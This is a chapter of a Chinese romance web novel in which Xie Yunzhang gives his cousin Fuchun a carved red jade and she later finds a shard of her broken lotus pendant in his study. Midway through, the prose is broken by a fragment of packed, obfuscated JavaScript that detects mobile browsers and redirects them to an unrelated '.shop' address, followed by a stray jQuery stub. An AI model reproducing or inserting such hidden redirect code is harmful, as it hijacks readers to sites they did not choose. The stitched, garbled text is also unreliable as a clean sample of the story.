他在叫住她?
扶春疑心是自己听错,可谢云璋说话时字字分明,怎会是她听错……
扶春顿住脚步,回过身去,目光定定落在他们之间相隔的那层隔帘上,却没有往前靠近。
谢云璋稍微松手,紧绷的琴弦一下子坦然松软下来,发出残声幽幽,回荡在琴舍中。
他掀起眼帘,见她留下,眼底翻涌着复杂的情愫。
琴舍内设置的细软隔帘材质珍奇,从外往里看,一片模糊。由里及外却能清楚望见立在帘外之人。
望清她的哀伤与凄然。
甚至滑落眼角的一滴细珠。
他唤住她,她却迟迟不肯过来。是觉得他回心转意得太晚,感到失望?还是因他此前的冷漠而伤心至此。
“在怕我?”谢云璋询问,声音里听不出冷暖。
扶春摇了摇头,没有吭声。
她微微垂首,心中起伏的情绪略有缓和。
早先他叫住她时,扶春还不确定他是否是真的想要她留下。
现在谢云璋愿意再问她这一句,扶春实则已有七八分相信他是真的改了主意。
可光是改变主意还不够。
她主动时谢云璋待她冷漠,现在轮到谢云璋主动,若扶春表现得没有半分芥蒂,仍旧欢欢喜喜地对他露笑,恐怕在他看来更觉得她假得可怜。
她只需沉默,耐心等待谢云璋接下来的举动。
琴舍内再无杂音,恍然间无比静谧,透着些许幽幽的冷意。
在这极度安静的环境下,一丝紧张的心情缓缓延至扶春心中。
她等了又等,没有等到他再说话,时间一长自然心切。
面上神情几番变化,从忧伤变做焦虑,继而担心起来。
只怕谢云璋觉得她在故作姿态,不会再给机会容她留下。
扶春全然不晓得她的神色尽皆落入了谢云璋的眼中。
她想探出他的心思,而不肯顺势而为,可她自己又有几分真?
谢云璋哂笑。
声音虽轻,可落在静谧琴舍中却尤然刺耳,扶春更觉得心颤。她把头低得更低一些,开始考虑以当下的情形她该如何进退。
可是很快,她听到谢云璋重复再道:“既然不怕,那就过来。”
他的语气可以称得上是温和,扶春愣了又愣,往前走去的同时,轻着声音问道:“大表兄不是说不想见我?”走至软帘前,扶春停下。
她没有拨开帘幕。
是啊。的确对她有不满,但这句不相见,并非出自谢云璋口。
莲花佩的事情,他已经知道得够多了,就连雕琢制成这枚莲花佩的珍宝阁,亦对他详尽言辞。
谢云璋想起他们第二回见面,扶春便是由谢三郎领在身后。
表姑娘和她正儿八经的表兄,二人之间不过是一件礼物的事,又怎能说明其它?
因此即便意外扶春的莲花佩是由谢三郎所赠,但这到底只是小事,他可以不计较,也可不在意。
唯一让谢云璋心起杂念的,只有扶春的态度。
谢云璋目光平静地望着扶春,他很清楚自己在说什么。
“你是真心想要与我交好?”
这简直是世上最无用的问题。
真情也好,真心也罢,从来不是倚仗甜言蜜语。
然而此刻谢云璋却只想听她说一句真话,一个真字。
“我定然是……”
扶春的声音时缓时停,后来似乎哽咽,“大表兄,难道在你看来,我只是……想与你交好?”
向他证明自己的真心,实在不是件容易的事。而且从先前到现在,一直是他在引导,这种情形看似与他关系缓和,实则不妙。
扶春的欲言又止,就像是一片柔软的羽毛,轻轻拂过,惹起本不该有的涟漪。
谢云璋有所觉察,但他不仅没有点破,反而问出一声:“不是这样,又是怎样?”
他真想听她说接下来的话?扶春感到焦灼,他怎会听不懂她的暗示?不过是不想顺着她的话往下说罢了,又或者他是故意想教她说那些难为情的话。
听她说,对他除却交好之心,还有旁的情意。
“大表兄若不明白,我也可以把话说得更清楚些。”隔着帘幕,扶春紧了紧唇,缓缓言道。
如若还有回旋的余地,她实在不想继续说,但谢云璋显然没有阻挠之意。
稍不留神,又被他主导一切。
扶春只好硬着头皮往下说:“我寄居谢府人微言轻,承蒙表兄不弃,对我多有关照,更有几次涉险都因表兄而得救。我对表兄自然是敬重有加,又更有感激之心,可我却无以回报。”
“我只盼留在大表兄的身边以报恩情。如若表兄应允,我可不可以……”
她玉白的脸泛起粉红,面上一片羞怯,红唇微动,却道不出分毫的软言软语。
不能再继续说了。
他该明白她说“留在身边”,代表的究竟是怎样的含义。
她浮于表面的情意,的确能够轻易为他所知。
谢云璋信她有感激之情,也相信她是真的想要留在他身边,可她的真实意图只是想和他在一起吗?
“大表兄?”因他久久未曾回应,扶春轻唤一声。
谢云璋回过神,隔了片刻,他道:“进来说话。”
既已经将她留住,旁的事在当下便不值得他去考虑。年深日久,孰真孰假,早晚水落石出。
扶春说了那么些感人肺腑之言,最后只得了这几字,难免失落,更觉他不解风情。
“表兄不生我气了?”扶春小心翼翼地问道。
“我何时恼过你。”谢云璋语气平淡。
他现在不承认扶春也拿他没办法,谁让她至今也不明白他为何突然对她改变态度。
但谢云璋终归不是喜怒无常的人,他对她大抵是生出了误会,而现在他已不去想,扶春若再提,那当真是不识趣了。
扶春往前走近,抬手揭开软帘。
琴案前,谢云璋正襟危坐。
触及他的目光,扶春稍顿了下脚步,她唤着“大表兄”,一步步走近。
二者的距离一寸一寸缩短,与谢云璋面前的琴案仅剩两步之遥时,扶春止住步伐。
已经很近了,扶春是这样认为的,但谢云璋仍觉不够。
“再近些。”他道。
再近,还要近到哪里?扶春不禁疑惑。
试着往前再走半分,她望见了他垂下的衣摆,上面的松间明月的绣纹尤其清雅。
扶春若有所悟,她当即软了嗓音,问得很小声。
“是到表兄身边吗?”嗓音清软和润,好似只是单纯询问。
谢云璋未必有这个意思,但扶春却起了这个念头。
而等她瞧见谢云璋轻微颔首,尚来不及平复心中的波澜,便见到他从琴案的抽奁内取出一物。
扶春的视线随之而去。
谢云璋洁白修长的手指将其平整展开后,露出红玉的一角。
檎丹红颜色尤其鲜艳,扶春一眼便为其所吸引。
其上一面镌刻的是如意祥云,翻过一面则是俏凤回首。
谢云璋起身,从旁取了一盏烛台,此时白日清光无限,扶春不懂他此举是为何。
只见谢云璋拿起这块红玉,放在烛火前,示意让她过来一看。
扶春走近。
光照红玉透亮,祥云与俏凤的轮廓竟合二为一,细看去分明合拢成一朵灼然盛放的牡丹。
虽不识得玉质品类,但观其色泽已非寻常珍物可言,更不提此红玉有这等精巧卓绝之雕功。
见她看得入神,谢云璋放进了她手中,她下意识伸手接过红玉时视线也在其上,没有半分移动。
她想细看在烛光照映下盛开的那朵牡丹,往烛台处贴近,不知不觉靠住了他的手臂。
光彩照映着红玉,亦落在扶春的脸上,这样的距离已不可再近分毫,谢云璋凝眸。
自她面上流露出的神情,纯粹自然,实在是难得的且不加掩饰的真情。
“喜欢?”
“喜欢的。”
“改日将它打理成配饰,可好?”谢云璋又问。
这块红玉是近来新雕琢而成的,现在还不算玉佩,等系上绦丝,结有宝珠,才能称之为佩。
扶春当然早就察觉到谢云璋要将此红玉送给她,不过在他亲口道出时,还是生出惊喜。
她再不识货,也知这等吉光片羽之物是世上少有。
“多谢大表兄。”
受宠若惊过后,扶春想起问他,“大表兄为何突然送我如此贵重之物?”
谢云璋望着她,却未道明原因。
他以为她会意识到什么,没想到她竟无知无觉。这样也好,至少证明她也不是那样在意那枚损毁的玉佩。
“你不是也带了礼物给我?”谢云璋道。
她的礼物?扶春一时没有想到。见谢云璋起身,往帘外去,这时扶春才惊觉这副软帘的奥秘。
她略微感到心惊。
因为如此一来,方才她在外面的一举一动岂不是都被他纳入了眼中?
很快,扶春就没有这心思去想,因为她看见谢云璋俯身提起了她先前放在地上的食盒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233836|149999||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>接着,谢云璋将其打开。
扑面而来的是一股熟悉的甜香。谢云璋若有所思。
她今日身上似乎没有香粉味,是换下了香囊,还是用尽了忍冬香料?
随手捻起一块糕点,谢云璋还未入口,就听到扶春连忙阻拦他。
“表兄别吃。”有些慌张,扶春磕绊着嗓音,与他解释:“我……不好吃的,以后有机会,我再做给表兄吃。”
她只好与他实话实说。
“故意的?”谢云璋似笑非笑。
为了见他,她太心急。
觉得只是走个过场,认为他根本不会去尝味道,所以敷衍了事。
她的真心被他轻而易举地寻到了破绽。
“不是这样。”确实如此。
且上回她同样带了糕点,精心准备,谢云璋不也没有碰么?
“日后我会用心的。”扶春皱了皱眉,弱着声音保证。
她上前,拿走了他手里的糕点。指腹间沾了一点碎粉,谢云璋抵在了唇上,微微入口。
“太甜了。”他顿了下,“比上回的要甜腻许多。”
听到他的埋怨,扶春先是起了微薄的愠怒,说好不尝味道,偏偏要尝。可是很快,扶春心弦一动,生出一丝怪异之感。
他说……上一回?
那次,他也尝过?
在她走后,他尝了她做的糕点。
一石激起千层浪。
扶春心中惊骇,莫不成在那时,他就已经对她……
琴舍外,侍人过来传话。
“长公子,家主请您过去一趟。”
思绪被人打断,扶春额首略痛。她到底在想什么?不过一块糕点,尝与不尝,无甚不同。
没过多久,谢云璋问她,留下等他回来还是让人送她离开。
“我等表兄回来。”扶春选择前者。
谢云璋离开之际,叮嘱她莫要随意走动。
扶春一一应下,目送他远去。
等他离开,扶春这才观察起周围。琴舍太过空旷,也仅有他方才坐过的地方放置着一架古琴。
古琴之下是一张檀木制的琴案,拿过红玉的抽奁未紧闭,内里还有数张散页的琴谱。
扶春拿起一些,放到琴案上。她不会琴,看不懂琴谱,但其上的字迹萧散挺劲,似乎是谢云璋的落笔。
琴舍的门窗一直开着,偶然有风拂过,将数张琴谱吹散,一时翻页翩飞,散得四处都是。
扶春赶忙去捡,一路到了琴舍外。
有一张落在了琴舍靠近书房的走道上,扶春过去,发现书房的门没有关,不由往里面多看一眼。
她记得此处。
她曾为了避开谢从璟,而躲在隔扇后。
谢云璋虽说不可随意走动,但他的书房本就门户大开,若她入内取一本书来看,应是算不得过错吧?
想着,扶春走进。
本想借一本来瞧,但只看字封,便觉得晦涩难懂,书架上的书大多如此,扶春顿时了无兴趣。
正要悄然离开,余光忽而瞥见一点细碎的亮影。
她心里觉得奇怪,往那处看去,见到地毯上有一块碎片。
扶春俯身捡起,白玉微凉,呈莲花花瓣状,扶春心里咯噔一下。
这一角碎片,分明是出自她落水那日遗失的莲花佩上。
原来谢云璋捡到了莲花佩。
可是他不仅没有归还,反而损毁。他为何这么做?
那么他方才赠她的那块红玉,是他对她的补偿?
遭人损毁的莲花佩,花灯会后他突然冷下的态度。
这些让扶春很难不去多想。
扶春不知道谢云璋对这枚莲花佩的事情了解多少。
她唯一确定的就是,若现在他对她初初萌生情意时,就知晓她在玩弄他,那他一定不会放过她。无关男女情爱,而是生死之忧。
那日灯会,她被薛俨困于船上,谢云璋携剑而来时,剑刃上本就是沾了血的。
他在外面伤过人,而后才过来寻她。
重新回忆起曾被她竭力忽略掉的细节,扶春只觉周围一片阴冷,脊骨更是生出寒凉之意。
因风吹动,书房的门窗略有作响,透入阵阵风来。春寒早消,已是明媚春日,扶春捻着白玉碎片的手指,却是一点温度都没有。
“怎么在这?”
恍惚间,他的声音从她身后传来,清冷的询问,目光审视于她。
扶春的手指一颤,碎片落地,发出细微响声。
谢云璋循迹望去,见到了那一点残留的碎片。莲花花瓣痕迹宛然,很难会认不出。